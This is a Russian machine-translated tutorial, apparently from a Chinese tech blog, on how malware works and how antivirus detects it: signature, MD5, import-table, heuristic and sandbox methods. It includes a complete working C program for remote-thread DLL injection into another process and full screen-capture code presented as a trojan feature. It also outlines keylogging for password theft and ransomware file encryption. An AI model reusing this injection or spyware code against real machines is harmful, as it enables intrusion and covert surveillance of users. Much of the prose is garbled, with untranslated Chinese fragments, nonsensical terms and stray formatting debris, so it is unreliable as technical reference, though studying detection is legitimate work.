Принцип и реализация технологии вредоносного кода и технологии обнаружения вредоносного кода
Принцип и реализация технологии вредоносного кода и технологии обнаружения вредоносного кода
Технология вредоносного кода обнаружения Краткое описание

ВРЕДОНОСНЫЙ КОД (ВРЕДОНОСНАЯ ПРОГРАММА) Технология обнаружить В настоящее время основными являются следующие: Сканирование кода технология функции, технология сканирования на основе сигнатур, технология эвристического сканирования, Технология моделирования «песочница»、Импортировать анализ технологии таблиц, а также технологии облачного сканирования и уничтожения.

Обнаружение вредоносного кода обычно делится на статический анализ и динамический анализ.

Самым классическим статическим анализом являетсяСканирование кода функциитехнология(Signature scanning),Сканирование кода Функция технологии является краеугольным камнем обнаружения вредоносного кода. Она определяет, содержит ли файл угрозы, путем обнаружения наличия в двоичном файле значений характеристик вредоносного кода. кода функциитехнология依赖于海量已知из恶意代码特征,Большинство из этих функций представляют собой шестнадцатеричные коды с определенным значением, извлеченным путем ручного обратного проектирования.,Это также может быть код функции, автоматически извлекаемый программой.

Технология обнаружения на основе сигнатур вредоносного кода и технология анализа таблицы импорта также являются технологиями статического анализа. Однако технология обнаружения на основе сигнатур вредоносного кода не анализирует файл, а только выполняет расчет подписи для файла.

动态分析из代表就даЭВРИСТИЧЕСКАЯ техника сканирования,Эвристическое сканирование также опирается на библиотеки функций.,Но в отличие от статического сканирования подписи,,Эвристическое сканирование обнаруживает наличие процесса в вашей системе в режиме реального времени.,Когда процесс совершает какие-то деликатные действия (например, изменение реестра, форматирование диска, чтение и запись большого количества файлов в течение длительного времени, скрытие файлов, добавление элементов автозагрузки, вызов неэкспортированных системных функций и т. д.), процесс накапливает вес.,Разное поведение соответствует разному весу,Когда вес процесса достигает установленного порога, можно определить, что программа ведет себя вредоносно.

Этот метод динамического анализа эвристического сканирования позволяет обнаруживать неизвестные вредоносные программы, а также устранять ложноотрицательные результаты, вызванные упаковкой двоичных файлов. Хотя эвристическое сканирование имеет эти преимущества, процесс обнаружения эвристического сканирования основан на запуске программы. То есть, когда запускается программа с неизвестной безопасностью, ее поведение будет обнаружено в реальном времени в течение ее жизненного цикла. вредоносная программа После обхода эвристического обнаружения каким-либо образом опасное поведение вредоносной программы будет напрямую влиять на систему и вызывать угрозы.

Таким образом, на этой основе появился метод анализа «песочницы». Метод анализа «песочницы» также является методом динамического анализа. Он помещает обнаруживаемый файл и запускает его в моделируемую и контролируемую виртуальную среду, а также анализирует его поведение и вызовы функций. оценить свою угрозу, благодаря этой технологии моделирования кода она компенсирует недостатки эвристического сканирования и снижает ненужные потери.

Вышеуказанные технологии обнаружения обогащают средства борьбы с вредоносными кодами, а также обеспечивают возможности обнаружения и экстренного реагирования на появление новых вирусов. Большинство этих технологий обнаружения опираются на огромную библиотеку функций, которая содержит различные функции известного вредоносного кода, такие как шестнадцатеричные функции, функции сигнатур вирусных файлов, функции поведения вирусов и т. д. Поскольку информация о функциях играет решающую роль в обнаружении компьютерных вирусов, качество выбора функций напрямую определяет производительность сканирования на вирусы.

Технология сканирования сигнатурного кода обладает определенной степенью универсальной способности уничтожения (конечно, это зависит от качества выбора кода функции), то есть сканирование кодов функций, которые широко присутствуют во вредоносных файлах, может обеспечить возможности сканирования «один ко многим». (т. е. один код функции может соответствовать множеству вредоносных файлов).

Благодаря уникальности характеристической сигнатуры для выборки может быть достигнута 100%-ная степень обнаружения. Однако из-за уникальности характеристической сигнатуры она может достигать только соотношения один к одному (т. е. может быть только одно значение сигнатуры). сопоставить один вредоносный файл). Этот метод Хотя ложные срабатывания маловероятны, требуемая вирусная база данных будет слишком большой и только Если автору вредоносного кода потребуется перекомпилировать файл или изменить какой-либо байт, значение подписи не будет совпадать. Однако, поскольку вычисление подписи очень простое и быстрое, технология обнаружения на основе сигнатурных подписей подходит для экстренного реагирования на неожиданное вредоносное действие. code, при условии, что вредоносный код не обновляет свою онтологию динамически.

Технология анализа таблицы импорта (метод эвристического сканирования). Присвоив разным API разные веса, программа обычно вызывает несколько API. Когда общий вес программы достигает порогового значения, ее можно определить как вредоносную программу, об этом также свидетельствует. что технология анализа таблицы импорта (технология эвристического сканирования) не может идентифицировать конкретный тип или имя вируса. В то же время уровень ложных срабатываний эвристического сканирования также очень высок, но этот метод идентификации также полезен для предотвращения неизвестных вредоносных программ. Программа внесла большой вклад.

Язык кода:javascript
копировать
Подводить итоги,Характеристики каждой технологии сканирования следующие:

Технология обнаружения

Поддерживать ли обнаружение без сигнатур

Убийственный

Ложное срабатывание

Возможности обнаружения неизвестных вирусов

Сканирование кода функции

X

Y

Y-

Y--

MD5-сканирование

X

X

X

X

Импортировать анализ таблицы

X

Y

Y+

Y+

Теория и реализация технологии вредоносного кода

Технология внедрения вредоносного кода

Под внедрением вредоносного кода подразумевается прикрепление вредоносного кода к нормально работающей программе с целью нанесения ущерба, модификации и т. д. системы или обычных программ.

Программа Windows обычно загружает несколько файлов динамической библиотеки (dll). Например, процесс с именем nika.exe импортирует библиотеки динамической компоновки (dll), такие как kernel32 и gdi32. Внедрение вредоносного кода заключается в загрузке вредоносных модулей в библиотеки динамической компоновки, вызываемые обычными программами для выполнения вредоносных действий. После внедрения вредоносной динамической библиотеки с именем hacker в nika.exe мы обнаружили, что вредоносная программа поместила динамическую библиотеку с именем hacker.dll в файл библиотеки, связанный с nika.exe. Вредоносный код в hacker.dll прикреплен к nika. .exe и запускается.

Технология внедрения вредоносного код делится на несколько типов: Thread Injection、КРЮК-инъекция、APC-инъекция и т. д.

Потоковая инъекция загружает вредоносную динамическую библиотеку путем создания удаленного потока, который обычно реализуется с помощью следующей функции:

  • OpenProcess (Открытый процесс)
  • VirtualAllocEx (изменить состояние пространства памяти)
  • WriteProcessMemory (запись памяти в пространство)
  • LoadLibrary (загрузка динамической библиотеки)
  • CreateRemoteThread (поток удаленного создания)

Простой процесс инжекционной технологии (технологии дистанционного впрыска резьбы) заключается в следующем:

  1. Вызовите OpenProcess, чтобы открыть целевой процесс (получить дескриптор целевого процесса).
  2. Вызовите VirtualAllocEx, чтобы подать заявку на участок памяти в целевом процессе (для написания динамически подключаемых библиотек).
  3. Вызовите WriteProcessMemory, чтобы записать путь к Dll в удаленное пространство памяти.
  4. Вызовите GetProcAddress, чтобы получить адрес LoadLibrary в Kernel32 (чтобы облегчить последующие удаленные вызовы LoadLibrary для загрузки библиотеки динамической компоновки).
  5. Вызовите CreateRemoteThread, чтобы создать удаленный поток, который используется для вызова LoadLibrary для загрузки библиотеки динамической компоновки.
  6. Закрыть целевой дескриптор

Далее мы пытаемся реализовать простую программу внедрения:

Шаг 1: Реализуйте простую программу (вывод Hello World) в качестве внедряемой программы.

Код выглядит следующим образом:

Язык кода:javascript
копировать
#include <stdio.h>
int main()
{
printf("Hallo World!\n");
          getchar();
return 0;
        }`

      *Функция getchar в коде используется для предотвращения вывода строки и прямого выхода программы, чтобы невозможно было наблюдать экспериментальное явление.





    Шаг 2. Создайте новый проект (проект библиотеки динамической компоновки) и используйте следующий код для реализации простого всплывающего окна:

BOOL APIENTRY DllMain(HMODULE hModule,
              DWORD  ul_reason_for_call,
              LPVOID lpReserved
              )
{
switch (ul_reason_for_call)
              {
case DLL_PROCESS_ATTACH:
              {
                  HANDLE hHandle = GetCurrentProcess();
                  DWORD pressID = GetProcessId(hHandle);
char temp[100] = { 0 };
sprintf(temp, "I am Form pressID = %d", pressID);
                       MessageBoxA(0, temp, "Success!", MB_OK);
break;
              }
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
              }
return TRUE;
          }

    * DLL_PROCESS_ATTACH указывает, что dll загружена успешно, в случае  Код под DLL_PROCESS_ATTACH получает текущий идентификатор процесса и передает MessageBoxВсплывающее окно. Это может облегчить нам понимание технологии инъекций.




  Шаг 3. Создайте новый проект для удаленного внедрения динамически подключаемых библиотек, Код. выглядит следующим образом:

#include <stdio.h>
#include <Windows.h>
int main()
{
printf("Пожалуйста, введите ID процесса:");
      DWORD processID = 0;
scanf("%d", &(DWORD)processID);
char dllPath[MAX_PATH];
memset(dllPath, 0x00, sizeof(dllPath));
printf("Пожалуйста, введите путь к модулю внедрения (абсолютный путь):");
scanf("%s", dllPath);
      LPVOID pathSize = lstrlen(dllPath) + 1;
      HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (hHandle == NULL)
      {
printf("Не удалось удаленно открыть процесс!\n");
        getchar();
return -1;
      }

      LPVOID NewMemoryAddress = VirtualAllocEx(hHandle, NULL, pathSize,                 MEM_COMMIT, PAGE_READWRITE);
if (NewMemoryAddress == NULL)
      {
printf("Не удалось создать пространство удаленного процесса!\n");
        getchar();
return -1;
      }
      SIZE_T real_size = 0;
if (WriteProcessMemory(hHandle, NewMemoryAddress, dllPath, pathSize, &real_size)           ==   FALSE)
      {
printf("Не удалось записать пространство удаленного процесса!\n");
        getchar();
return -1;
      }
printf("Запись в пространство целевого процесса прошла успешно [write %zu Байты]\n", real_size);
      FARPROC LoadFun = GetProcAddress(GetModuleHandleA("kernel32.dll"),                 "LoadLibraryA");
if (LoadFun == NULL)
      {
printf("Не удалось получить адрес функции LoadLibrary!\n");
        getchar();
return -1;
      }
      HANDLE rHandle = CreateRemoteThread(hHandle, NULL, 0,                       (LPTHREAD_START_ROUTINE)LoadFun, NewMemoryAddress, 0, NULL);
if (rHandle == NULL)
      {
printf("Не удалось выполнить внедрение LoadLibrary при удаленном вызове!\n");
        getchar();
return -1;
      }
      CloseHandle(hHandle);
printf("Инъекция успешна!\n");
      getchar();
return 0;
    }

    *в ProcessID — это идентификатор целевого процесса, а dllPath — это путь к файлу Dll, созданному на втором этапе (обратите внимание, что необходимо использовать абсолютный путь к DLL)
Язык кода:javascript
копировать

Выше мы реализовали простую программу удаленного внедрения потоков, и результаты ее работы следующие:

После внедрения целевой процесс успешно открывает окно и отображает PID процесса.

Дисплей модуля впрыска (dll)

Используйте инструмент ProcessExplorer для просмотра PID процесса и загруженных модулей:

Технология шифрования файлов

использовать Технология шифрования Файлы — одна из распространенных характеристик поведения вирусов-вымогателей. Вирусы-вымогатели действуют через важные файлы на компьютере. Некоторые вирусы-вымогатели используют только файлы с определенными суффиксами (например, .pdf). .txt .doc и т. д. (в основном типы файлов документов) для быстрого шифрования и шантажа.

Распространенные методы шифрования условно делятся на следующие категории:

1. Симметричное шифрование ( symmetric encryption algorithm ):симметрияшифрованиетолько один ключ,Их хранят сторона шифрования и сторона дешифрования соответственно.,Его шифрованиеалгоритм фиксирован,Ключ никогда не меняется,Данные после прохождения ключа шифрования передаются стороне дешифрования.,Сторона дешифрования может расшифровать зашифрованный текст, используя тот же ключ, что и сторона шифрования, и тот же алгоритм. Преимуществами этого алгоритма шифрования являются скорость шифрования, сложность, эффективность, удобство и простота использования.,Но безопасность у него низкая,Поскольку ключ шифрования сгенерировал ключ шифрования, открытый текст необходимо отправить стороне дешифрования вместе с ключом шифрования, чтобы расшифровать зашифрованный текст.,Это может быть усечено или подделано во время передачи.,Конфиденциальность и безопасность нарушены. Общие симметричные алгоритмы шифрования включают AES, DES, RC и т. д. алгоритм.

2. Нет Симметричное шифрование ( public key encryption ):Нетсимметрияшифрованиедвумя ключами,Это открытый ключ и закрытый ключ соответственно.,Открытый ключ может просмотреть любой,Закрытый ключ обычно хранится у стороны шифрования.,Данные с открытым ключом шифрования можно расшифровать только с помощью закрытого ключа.,Данные с использованием закрытого ключа шифрования могут быть расшифрованы только с помощью открытого ключа. шифрование Открытый ключ шифрования, сгенерированный получателем.,и отправить зашифрованный текст расшифровщику,Декриптор может расшифровать, используя соответствующий закрытый ключ.,Закрытый ключ хранится в секрете,Открытый ключ является общедоступным,Даже если публичный ключ будет перехвачен во время передачи,Поскольку закрытый ключ неизвестен, зашифрованный текст не может быть расшифрован. Таким образом, при асимметричном шифровании вам нужно защитить только ключ.,И никакой закрытый ключ не передается в процессе передачи.,Закрытый ключ всегда хранится на стороне дешифрования. Преимущества асимметричного шифрования: высокая безопасность, зашифрованный текст нелегко изменить и расшифровать. Недостатки: сложность алгоритма шифрования.,шифрование, расшифровка занимает много времени. Распространенными асимметричными алгоритмами шифрования являются: RSA, Elgamal и др. алгоритм.

Выше приведены два основных типа шифрования. Вот введение в режим шифрования файлов:

  1. Статическое шифрование: получить файл шифрования после редактирования файла шифрования.,При необходимости вручную используйте метод расшифровки для расшифровки файла шифрования.,После расшифровки к файлу можно получить доступ в обычном режиме.
  2. Динамическое шифрование: Сделайте динамическое шифрование файла.,Обнаружение легальности доступа пользователей к файлам в режиме реального времени,Расшифровка в реальном времени для законных пользователей при доступе к файлам,Перезапустите файл, когда пользователь закроет его,Нет необходимости вручную расшифровывать файлы шифрования.,Динамическое шифрование может сделать весь процесс шифрования и дешифрования прозрачным и бессмысленным.,Так технология динамического шифрования также становится прозрачным шифрованием.

Для шифрования файлов обычный процесс: прочитать поток файлов → зашифровать с использованием алгоритма шифрования побайтно (симметричный или асимметричный алгоритм) → получить зашифрованный файл. Процесс расшифровки аналогичен описанному выше.

технология кейлогинга

Технология кейлогинга также часто используется троянскими вирусами для кражи (например, номеров счетов,Пароль и др.) одно из средств информации,Обнаруживая информацию о нажатиях клавиш пользователя в режиме реального времени,Вырезаем полезные детали,То есть введите пароль учетной записи пользователя,Это позволяет троянскому коню совершать кражу учетных записей и другие угрожающие действия. В Windows мы можем использовать функцию GetRawInputData для получения пользовательского ввода. Процесс выглядит следующим образом:

Зарегистрировать необработанные устройства ввода (RegisterRawInputDevices) → Получить необработанные входные данные (GetInputRawData) → Записать данные клавиатуры в файл.

Требуется таблица информации о позиции ключа, соответствующей коду ASCLL, которую необходимо настроить для запроса и записи кода ASCLL, соответствующего ключу.

технология захвата экрана

Язык кода:javascript
копировать
Технология захвата экрана также является распространенной функцией троянского пульта дистанционного управления и других программ. Сделав снимок экрана целевой машины.,Терминал дистанционного управления можно использовать для просмотра текущего состояния и операций объекта. Снимок экрана можно сделать с помощью GetDC.,GetDc умеет рисовать.

Код выглядит следующим образом:

Язык кода:javascript
копировать
#include <stdio.h>
#include <Windows.h>
#include <atlimage.h>

int PrintScreen()
{
    HWND hWnd;
    HDC hdc;
    HBITMAP bmp;
    HGDIOBJ bmp_t;
    HDC mdc;
unsigned int width = 0;
unsigned int hight = 0;
    hWnd = GetDesktopWindow();
    hdc = GetDC(hWnd);
    mdc = CreateCompatibleDC(hdc);
    width = GetSystemMetrics(SM_CXSCREEN);
    hight = GetSystemMetrics(SM_CYSCREEN);
    bmp = CreateCompatibleBitmap(hdc, width, hight);
bmp_t = SelectObject(mdc, bmp);
    BitBlt(mdc, NULL, NULL, width, hight, hdc, NULL, NULL, SRCCOPY);

    CImage image;
    image.Attach(bmp);
    image.Save("ScreenPrint.jpg");
return 0;
  }

int main(void)
{
    PrintScreen();
  }


Технология вредоносного кода обнаруженияпринцип Обсуждать

Технология обнаружения MD5

Технология обнаружения MD5 подразумевает генерацию строки фиксированной длины для вредоносных файлов с помощью алгоритма MD5.,И единственное значение MD5,Расчет по большому количеству образцов,Сохраните значения MD5 нескольких вредоносных файлов в файл, который станет вирусной базой данных MD5.,При определении того, является ли новая программа вредоносным файлом, нам нужно использовать только тот же алгоритм MD5 для этого файла.,Полученное значение MD5 вводится в базу данных для запроса.,Если совпадает,Тогда мы сможем судить,Должно быть, это вредоносный файл.

MD5 быстро и легко вычисляется и не вызывает ложных срабатываний.,Большинство механизмов обнаружения вредоносного кода обнаруживают файл MD5. Но в силу уникальности MD5,Даже 1 байт во вредоносном файле изменился,MD5 также изменится соответствующим образом. Это приводит к появлению еще одного оптимизированного метода обнаружения MD5.,Путем поиска раздела .text (т.е. сегмента кода) PE-файла.,Выполните для него расчет MD5.,Полученное таким образом значение MD5 лучше, чем раньше. Конечно,Теперь есть и метод расчета нечеткого хэша.,Вычислив хеш-значение фрагментов вредоносного файла, можно сравнить сходство двух файлов.。Этот видалгоритм Больше подходит для обнаружения вредоносных файлов.。Далее мы используем картинку, чтобы углубить понимание Технология обнаружения Понимание MD5:

На приведенном выше рисунке просто показан пример базового обнаружения вируса MD5 путем расчета MD5 проверяемого файла и сравнения его со значением MD5 вредоносного файла, хранящегося в базе данных вирусов, когда значение MD5 A и значение MD5. B одинаковы, вредоносный файл соответствует, и наоборот. Это обычный файл.

Технология обнаружения кода подписи

Далее давайте узнаем о технологии обнаружения кода подписи,Технология обнаружения кода Доставка — метод статического обнаружения, Технология обнаружения кода оплату, найдя указанный Код в двоичном файле функции (обычно шестнадцатеричное) Выполните сравнительный анализ, чтобы определить, представляет ли программа угрозу.

  • Код функции (Подпись): Код функции обычно представляет собой шестнадцатеричный код. Горящие благовония Панда Горящие благовония Вирус, который преобразуется в шестнадцатеричный код функции 0x78) 0x62 0x6f 0x79), либо это может быть инструкция по сборке или другие характеристики. Сигнатура уже не является простой один-к-одному (то есть одна подпись соответствует одному вирусу), а одна подпись может соответствовать нескольким вирусам (то есть она имеет Убийственный).
  • сопоставление подписей :сопоставление подписейда Технология обнаружения кода часть лицензии, которую мы обычно называем парламентием подписейизалгоритмстановиться Сканирование кода функциидвигатель。

Технология сопоставления кодов объектов имеет следующие методы:

[1] Метод сопоставления на основе смещения подписи + длины подписи: этот метод сопоставления использует адрес смещения полученной подписи во вредоносном файле плюс длину подписи для выполнения сопоставления местоположения. Преимущество этого метода заключается в том, что он сканирует. быстро, но недостатком является то, что этот метод сопоставления неэффективен и не может сканировать правильные результаты на наличие вредоносных файлов, которые имеют подписи, но разные адреса смещения. На картинке ниже поясняется вид парламентия. подписей процесса технического сканирования:

[2] На основе метода полнотекстового сопоставления: Метод подписей использует полнотекстовое сопоставление и использует автоматы KMP, AC или сопоставление методом перебора BF для сопоставления функций в двоичном коде всего тестируемого файла. Если сопоставление успешно, файл может быть определен как исправный. вредоносный файл. На рисунке ниже поясняется вид Сканирование кода функциипроцесс:

Импортировать анализ технология таблиц (эвристическое сканирование)

Импортировать анализ Технология таблиц представляет собой подкатегорию эвристического сканирования, а также метод статического анализа. Анализируя таблицу функций импорта и экспорта PE-файлов под Windows, можно присвоить уровень угрозы программе, когда оценка достигает определенного порога. можно судить, что программа может быть вредоносной. Импортировать анализ Технология таблиц также опирается на библиотеку функций. Эта библиотека записывает чувствительность различных функций API и присваивает баллы функциям API. При сканировании программы, когда программа сопоставляется и вызывает функцию API, записанную в библиотеке, выполните поиск API. функция, записанная в библиотеке. Вес, соответствующий функции, добавляется к общему количеству подозрительных файлов. Преимущество этого метода обнаружения заключается в том, что он позволяет обнаруживать неизвестные файлы угроз. Недостатком является высокий уровень ложных срабатываний.

На рисунке ниже кратко описано Импортировать анализ Процесс табличной технологии:

Конечно, это всего лишь самый простой способ. Реальная ситуация гораздо сложнее. Более точное обнаружение обычно осуществляется путем импорта комбинаций и упорядочений таблиц или процессов вызова функций.

Технология моделирования «песочница»

Технология моделирования «песочница»,Это метод динамического анализа.,Угроза неизвестного файла оценивается путем виртуализации среды выполнения неизвестного файла и запуска неизвестного файла в виртуальной среде (изолированной от физической машины) и мониторинга работы неизвестного файла в режиме реального времени. Поскольку виртуальная среда полностью изолирована от физического хоста,Поэтому, даже если в этой программе произойдет опасная операция, она не затронет реальный физический хост.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose